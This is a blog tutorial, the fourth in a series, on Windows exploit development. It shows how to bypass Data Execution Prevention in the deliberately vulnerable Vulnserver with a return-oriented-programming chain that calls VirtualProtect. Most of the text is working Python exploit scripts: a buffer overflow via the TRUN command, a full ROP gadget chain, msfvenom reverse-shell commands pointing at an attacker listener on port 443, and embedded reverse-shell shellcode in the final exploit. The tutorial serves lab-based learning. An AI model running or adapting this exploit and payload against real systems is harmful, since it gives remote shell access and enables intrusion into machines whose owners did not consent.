Windows User Mode Exploit Development: Data Execution Prevention (DEP) Part 4

Posted on Oct 12, 2020

Please complete Windows User Mode Exploit Development Part 1, Windows User Mode Exploit Development SEH Part 2 and Windows User Mode Exploit Development Egghunter Part 3 before continuing so everything makes sense as some things will not be explained again :).

Please note, to understand exploit development thoroughly and adequately, you must have a strong understanding of both x86 (x32 bit) and x86_64 (x64 bit) assembly. Learning reverse engineering is one of the best ways to understand how things work, and it will help you when you’re stuck and want to debug. Debugging is very important. Without knowing reverse engineering/assembly, you may not get very far in exploit development.

Another thing to understand is, you should enjoy and love what you are doing or else I don’t see a point. Nowadays, everyone is 1337 web hacker, but not everyone is an expert reverse engineer or exploit developer.

What is a Buffer Overflow?

A buffer overflow is when an application attempts to write more data in a buffer than expected or when an application attempts to write more data in a memory area past a buffer. A buffer is a sequential section of memory that is allocated to contain anything from strings to integers. Going past the memory area of the allocated block can crash the program, corrupt data and even execute malicious code.

What is Data Execution Prevention (DEP)

Data Execution Prevention (DEP) is a memory protection mechanism that prevents code from being executed in areas of memory used to store data such as the stack and heap. Data Execution Prevention (DEP) marks the pages of memory as non-executable (NX), preventing shellcode from being executed on the stack.

Return Oriented Programming (ROP)

Since we can’t just drop shellcode on the stack like we usually do for a classic buffer overflow without any memory protection, we need to use something called Return Oriented Programming.

Return Oriented Programming is a technique used in exploit development to counter-memory protections such as Data Execution Prevention (DEP) by chaining together existing sequence of instructions or snippets of code within the program called gadgets, usually followed by a RETN. The RETN instruction will POP the return address from the stack back into the EIP register and redirect execution flow. We can use these instructions to return to another region in memory, rather than the intended area in memory, to execute a function or code of our choice, that makes the stack executable (VirtualProtect()).

When a function is called the caller places the arguments of the function on the stack then places the returns address on the stack (the next instruction to be executed right after the function is called). When a function has finished performing the intended tasks, it will call the RET instruction, which POPs the return address back into the EIP register to resume execution flow. We can hijack the execution flow to return to an existing function. In Linux, this function could be system() with the arguments /bin/sh (ret2system), which pops a shell or mprotect() (ret2mprotect), which makes the stack executable. However, in Windows we have functions such as VirtulAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory() etc…

To conclude; A gadget is an existing sequence of assembly instructions or snippets of code within the program and using, multiple gadgets make up an ROP chain. For example, we will be using an existing Windows API function called VirtualProtect() to make stack from non-executable to executable, so we can place our shellcode on the stack and have it executed.

An example of a gadget was POP POP RET from the Windows User Mode Exploit Development SEH Part 2 blog series.

Different Types of ROP gadgets

The following Windows API function can be used to bypass DEP on many version of Windows:

71c70d7d8fb43b683c04b3d96981e66b.png Diagram from Corelan

VirtualProtect()

We will be using VirtualProtect to make the stack executable then drop our shellcode on the stack to gain a reverse shell.

BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

Parameters

lpAddress

A pointer an address that describes the starting page of the region of pages whose access protection attributes are to be changed.

All pages in the specified region must be within the same reserved region allocated when calling the VirtualAlloc or VirtualAllocEx function using MEM_RESERVE. The pages cannot span adjacent reserved regions that were allocated by separate calls to VirtualAlloc or VirtualAllocEx using MEM_RESERVE.

dwSize

The size of the region whose access protection attributes are to be changed, in bytes. The region of affected pages includes all pages containing one or more bytes in the range from the lpAddress parameter to (lpAddress+dwSize). This means that a 2-byte range straddling a page boundary causes the protection attributes of both pages to be changed.

flNewProtect

The memory protection option. This parameter can be one of the memory protection constants.

For mapped views, this value must be compatible with the access protection specified when the view was mapped (see MapViewOfFile, MapViewOfFileEx, and MapViewOfFileExNuma).

lpflOldProtect

A pointer to a variable that receives the previous access protection value of the first page in the specified region of pages. If this parameter is NULL or does not point to a valid variable, the function fails.

Practical

Firstly, we will have to make sure DEP is turned on for all programs and services.

52a7d33ccfa7774e79dcc5ec219a7eaf.png

Controlling EIP

As I explained in the Windows User Mode Exploit Development Part 1

To control EIP, we need to find at which offset the EIP register is overwritten. We can use Metasploit’s pattern create to create a pattern of 3000 bytes and then locating the offset. Since the crash, a 3000 byte buffer crashes the program.

If you remember, we can now locate the offset, which is at 2003. This means that after 2003 bytes the EIP register the overwritten.

EIP_Overwrite.png

Here is the exploit:

import socket

# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999


payload = "A" * 2003
payload += "B" * 4
payload += "C" * (3000- len(payload))

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        s.recv(1024)
        print("[+] Sending exploit!")
        s.send("TRUN /.:/" + payload)
        print("[+] Evil buffer sent...")
        s.close()
except:
        print("[-] Could not connect to server!")

Locating Space for Your Shellcode

As shown in the previous screenshot, we can see that our ESP register point towards our C’s, which is more than enough space for our shellcode. A standard reverse shell takes anywhere between 350 to 400 bytes of space.

Checking for Bad Characters

As I explained in part 1:

Depending on the application, vulnerability type and protocols in use, there may be certain characters that can truncate our buffer, which are considered to be bad chars.

An example of a very common bad character (especially in buffer overflows caused by unchecked string copy operations) is the null byte (0x00).

0x00 is considered a bad because a null byte is also used to terminate a string copy operation, which would effectively truncate our buffer to wherever the first null byte appears.

The reason we want to get rid of bad chars is that when we generate our reverse shell using msfvenom we can luckily say which char is a bad one and msfvenom will get rid of it.

We can use mona to generate a byte array from 00 to FF and send this payload in our exploit instead of our C’s. To demonstrate how the buffer is truncated I will include the bad char \x00

ec26002934b1e6be93fd1713ac634e03.png

Now, let’s remove \x00 and test for any other bad characters, this process can take sometime depending on the how many bad characters there are, trial and error is the only way as far as I’m aware.

As you can see, there are no more bad chars other than \x00.

Badchars.png

import socket

# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999


badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = "A" * 2003
payload += "B" * 4
payload += badchars
payload += "C" * (3000- len(payload))

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        s.recv(1024)
        print("[+] Sending exploit!")
        s.send("TRUN /.:/" + payload)
        print("[+] Evil buffer sent...")
        s.close()
except:
        print("[-] Could not connect to server!")

Redirecting Execution Flow

As explained in part 1:

So we control the EIP register and have identified the bad characters, we can also see that ESP points to our C’s which is where we can place our shellcode for a reverse shell.

The best thing to do would be to try and replace the B’s that overwrite EIP with the address that pops up in the ESP register at the time of the crash. However, the value in the ESP register changes from crash to crash. This is why we can not hardcode the value.

The best way to go about this is to locate a reliable address in memory that contains an instruction such as JMP ESP. Then we can jump to it and end up at the address pointed to by the ESP register; the cool thing is we have mona.py which is an immunity debugger script to find this address for us.

We need to search for a module which meets the following criteria:

  • Has no memory protections such as DEP or ASLR
  • Does not have any bad characters.

Let’s run !mona modules

We can instantly see there is a module that meets our criteria which is essfunc.dll. We also have vulnserver.exe but it is loaded at a very low address values, starting with 0x00, so any reference to addresses within vulnserver.exe will require a null byte, and that won’t work because ‘\x00’ is a bad character.

MonaModules.png

!mona find -s "\xff\xe4" -m essfunc.dll

We can see that there are many occurrences of JMP ESP. However, we will just take the first one 0x625011AF

essfunc.png

Let’s test this JMP ESP after placing a breakpoint on 0x625011AF.

As you can see we hit our breakpoint, let’s press F7 to take the jump.

BreakPoint.png

Well, guess what? Unlike part 1 we get an error Access violation when executing...

This is because DEP is enabled and we tried to jump to a location on the stack to execute some instructions. This means we won’t be able to place shellcode on the stack and execute it as the stack is marked non-executable.

ErrorExecuting.png

A closer look at the error.

ErrorExecuting1.png

So, what do we do?

Enter Return Oriented Programming (ROP)

Initially, we’d have to locate a JMP ESP and use its address to overwrite EIP. This would allow EIP to execute JMP ESP and execute our shellcode on the stack. However, due to DEP, we won’t be able to execute shellcode on the stack as it is marked non-executable. To bypass this, we have to use return-oriented programming (ROP).

In return-oriented programming, we find useful little snippets/pieces of code, called gadgets with just a few machine language instructions followed by a RETN, and chain (ROP chain) them together to perform something useful.

We can use existing Windows API functions to turn off DEP, or to allocate a region of memory with DEP turned off. We can use any of the following functions:

VirtulAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()

We will be using VirtualProtect().

The process of chaining together these gadgets (machine language code) can still be very complicated. But, thanks to the authors of Mona, it makes this a lot easier.

ROP Chain

To build a ROP chain using Mona we can use the following command:

!mona rop -m *.dll -cp nonull

This will go through all the DLL with and generate chains of useful gadgets. Please note that this will take a few minutes. When the process is finished, you can click View -> Log.

MonaROPSearch.png

For 32 bit system, the rop_chains.txt file is located in the following path: C:\Program Files\Immunity Inc\Immunity Debugger

Path.png

The x86 assembly code shows that the registers and stack are being set up to call the Windows API function, VirtualProtect(). More information can be found on MSDN.

################################################################################

Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------


ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------

Here is the Python code Mona generated for us. Let’s use this in our exploit

*** [ Python ] ***

  def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      #[---INFO:gadgets_to_set_esi:---]
      0x76a172f0,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x7521fd52,  # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR 
      #[---INFO:gadgets_to_set_ebp:---]
      0x76e7c5ba,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x625011af,  # & jmp esp [essfunc.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x76a342f9,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR 
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x768a1643,  # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR 
      0x7521f9f1,  # XCHG EAX,EBX # RETN [MSCTF.dll] ** REBASED ** ASLR 
      #[---INFO:gadgets_to_set_edx:---]
      0x7527ea50,  # POP EAX # RETN [MSCTF.dll] ** REBASED ** ASLR 
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x76963193,  # NEG EAX # RETN [user32.dll] ** REBASED ** ASLR 
      0x74fa1110,  # XCHG EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR 
      #[---INFO:gadgets_to_set_ecx:---]
      0x7689fb57,  # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR 
      0x75285e78,  # &Writable location [MSCTF.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_edi:---]
      0x76df7643,  # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR 
      0x768a1645,  # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_eax:---]
      0x758b9b4c,  # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR 
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x758ec2a0,  # PUSHAD # RETN [kernel32.dll] ** REBASED ** ASLR 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  rop_chain = create_rop_chain()

We need to modify the exploit to overwrite EIP with our ROP chain rather than the JMP ESP instruction and replace the C’s with \xcc (breakpoint) which will allow us to hit a breakpoint right after executing our ROP chain.

import socket
import struct

# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999

def create_rop_chain():
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]
        0x76a172f0,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
        0x7521fd52,  # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR

        #[---INFO:gadgets_to_set_ebp:---]
        0x76e7c5ba,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
        0x625011af,  # & jmp esp [essfunc.dll]

        #[---INFO:gadgets_to_set_ebx:---]
        0x76a342f9,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0xfffffdff,  # Value to negate, will become 0x00000201
        0x768a1643,  # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x7521f9f1,  # XCHG EAX,EBX # RETN [MSCTF.dll] ** REBASED ** ASLR

        #[---INFO:gadgets_to_set_edx:---]
        0x7527ea50,  # POP EAX # RETN [MSCTF.dll] ** REBASED ** ASLR
        0xffffffc0,  # Value to negate, will become 0x00000040
        0x76963193,  # NEG EAX # RETN [user32.dll] ** REBASED ** ASLR
        0x74fa1110,  # XCHG EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR

        #[---INFO:gadgets_to_set_ecx:---]
        0x7689fb57,  # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x75285e78,  # &Writable location [MSCTF.dll] ** REBASED ** ASLR

        #[---INFO:gadgets_to_set_edi:---]
        0x76df7643,  # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
        0x768a1645,  # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR

        #[---INFO:gadgets_to_set_eax:---]
        0x758b9b4c,  # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR
        0x90909090,  # nop

        #[---INFO:pushad:---]
        0x758ec2a0,  # PUSHAD # RETN [kernel32.dll] ** REBASED ** ASLR
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)



rop_chain = create_rop_chain()


#JMP ESP 0x625011AF: \xAF\x11\x50\x62

payload = "A" * 2003
payload += rop_chain
payload += "\xcc" * (3000- len(payload))

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        s.recv(1024)
        print("[+] Sending exploit!")
        s.send("TRUN /.:/" + payload)
        print("[+] Evil buffer sent...")
        s.close()
except:
        print("[-] Could not connect to server!")

After modifying and sending the exploit, we hit our breakpoint after a series of \x90’s (NOPs), which means it worked :) We execute the breakpoint that was placed on the stack. We made the stack executable!

You can place anything after the ROP chain, such as \xcc, which is a breakpoint or \x90's or even your shellcode.

StackExecutable.png

To generate a reverse shell, you can use the following:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.16.128 LPORT=443 EXITFUNC=thread -b '\x00' -f c

or

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.16.128 LPORT=443 EXITFUNC=thread -b '\x00' -f c

Final exploit

Here is the final exploit to pop a reverse shell. I added some memN0ps ;) before and after the shellcode. The ROP chain takes the place of our JMP ESP, we no longer require the JMP ESP

import socket
import struct

#author memN0ps

# Target IP address and port
RHOST = "192.168.16.129"
RPORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.16.128 LPORT=443 EXITFUNC=thread -b '\x00' -f c
shellcode = ("\xbe\x4a\xef\xc7\xc3\xd9\xc8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x52\x31\x72\x12\x03\x72\x12\x83\xa0\x13\x25\x36\xc8\x04\x28"
"\xb9\x30\xd5\x4d\x33\xd5\xe4\x4d\x27\x9e\x57\x7e\x23\xf2\x5b"
"\xf5\x61\xe6\xe8\x7b\xae\x09\x58\x31\x88\x24\x59\x6a\xe8\x27"
"\xd9\x71\x3d\x87\xe0\xb9\x30\xc6\x25\xa7\xb9\x9a\xfe\xa3\x6c"
"\x0a\x8a\xfe\xac\xa1\xc0\xef\xb4\x56\x90\x0e\x94\xc9\xaa\x48"
"\x36\xe8\x7f\xe1\x7f\xf2\x9c\xcc\x36\x89\x57\xba\xc8\x5b\xa6"
"\x43\x66\xa2\x06\xb6\x76\xe3\xa1\x29\x0d\x1d\xd2\xd4\x16\xda"
"\xa8\x02\x92\xf8\x0b\xc0\x04\x24\xad\x05\xd2\xaf\xa1\xe2\x90"
"\xf7\xa5\xf5\x75\x8c\xd2\x7e\x78\x42\x53\xc4\x5f\x46\x3f\x9e"
"\xfe\xdf\xe5\x71\xfe\x3f\x46\x2d\x5a\x34\x6b\x3a\xd7\x17\xe4"
"\x8f\xda\xa7\xf4\x87\x6d\xd4\xc6\x08\xc6\x72\x6b\xc0\xc0\x85"
"\x8c\xfb\xb5\x19\x73\x04\xc6\x30\xb0\x50\x96\x2a\x11\xd9\x7d"
"\xaa\x9e\x0c\xd1\xfa\x30\xff\x92\xaa\xf0\xaf\x7a\xa0\xfe\x90"
"\x9b\xcb\xd4\xb8\x36\x36\xbf\x06\x6e\x28\xbf\xef\x6d\x48\xbe"
"\x54\xf8\xae\xaa\xba\xad\x79\x43\x22\xf4\xf1\xf2\xab\x22\x7c"
"\x34\x27\xc1\x81\xfb\xc0\xac\x91\x6c\x21\xfb\xcb\x3b\x3e\xd1"
"\x63\xa7\xad\xbe\x73\xae\xcd\x68\x24\xe7\x20\x61\xa0\x15\x1a"
"\xdb\xd6\xe7\xfa\x24\x52\x3c\x3f\xaa\x5b\xb1\x7b\x88\x4b\x0f"
"\x83\x94\x3f\xdf\xd2\x42\xe9\x99\x8c\x24\x43\x70\x62\xef\x03"
"\x05\x48\x30\x55\x0a\x85\xc6\xb9\xbb\x70\x9f\xc6\x74\x15\x17"
"\xbf\x68\x85\xd8\x6a\x29\xa5\x3a\xbe\x44\x4e\xe3\x2b\xe5\x13"
"\x14\x86\x2a\x2a\x97\x22\xd3\xc9\x87\x47\xd6\x96\x0f\xb4\xaa"
"\x87\xe5\xba\x19\xa7\x2f")


def create_rop_chain():
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]                                                                                                                                                                                                                                                                                  
        0x76a172f0,  # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                      
        0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]                                                                                                                                                                                                                                                          
        0x7521fd52,  # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                           
        #[---INFO:gadgets_to_set_ebp:---]                                                                                                                                                                                                                                                                                  
        0x76e7c5ba,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                       
        0x625011af,  # & jmp esp [essfunc.dll]                                                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                           
        #[---INFO:gadgets_to_set_ebx:---]                                                                                                                                                                                                                                                                                  
        0x76a342f9,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                      
        0xfffffdff,  # Value to negate, will become 0x00000201                                                                                                                                                                                                                                                             
        0x768a1643,  # NEG EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                      
        0x7521f9f1,  # XCHG EAX,EBX # RETN [MSCTF.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                  
                                                                                                                                                                                                                                                                                                                           
        #[---INFO:gadgets_to_set_edx:---]                                                                                                                                                                                                                                                                                  
        0x7527ea50,  # POP EAX # RETN [MSCTF.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                       
        0xffffffc0,  # Value to negate, will become 0x00000040                                                                                                                                                                                                                                                             
        0x76963193,  # NEG EAX # RETN [user32.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                      
        0x74fa1110,  # XCHG EAX,EDX # RETN [KERNELBASE.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                                                                                           
        #[---INFO:gadgets_to_set_ecx:---]                                                                                                                                                                                                                                                                                  
        0x7689fb57,  # POP ECX # RETN [RPCRT4.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                      
        0x75285e78,  # &Writable location [MSCTF.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                   
                                                                                                                                                                                                                                                                                                                           
        #[---INFO:gadgets_to_set_edi:---]                                                                                                                                                                                                                                                                                  
        0x76df7643,  # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                       
        0x768a1645,  # RETN (ROP NOP) [RPCRT4.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                                           
        #[---INFO:gadgets_to_set_eax:---]                                                                                                                                                                                                                                                                                  
        0x758b9b4c,  # POP EAX # RETN [kernel32.dll] ** REBASED ** ASLR                                                                                                                                                                                                                                                    
        0x90909090,  # nop

        #[---INFO:pushad:---]
        0x758ec2a0,  # PUSHAD # RETN [kernel32.dll] ** REBASED ** ASLR
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)



rop_chain = create_rop_chain()


#JMP ESP 0x625011AF: \xAF\x11\x50\x62 (not required anymore)
memn0ps = "\x90"

payload = "A" * 2003
payload += rop_chain
payload += memn0ps * 20
payload += shellcode
payload += memn0ps * 20
payload += "C" * (3000- len(payload))

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        s.recv(1024)
        print("[+] Sending exploit!")
        s.send("TRUN /.:/" + payload)
        print("[+] Evil buffer sent...")
        s.close()
except:
        print("[-] Could not connect to server!")

W00TW00T we have a reverse shell. DEP was successfully bypassed! :D

WOOTWOOT.png

I hope you enjoyed reading and I hope this helps. This was a good revision for me, and I finally found the time to write up something quickly.

Usually, when I learn something like this, I go and write about it 1 or 2 years later for some good revisions and contribution back to the community. Even if it is small, it is better than nothing :)

References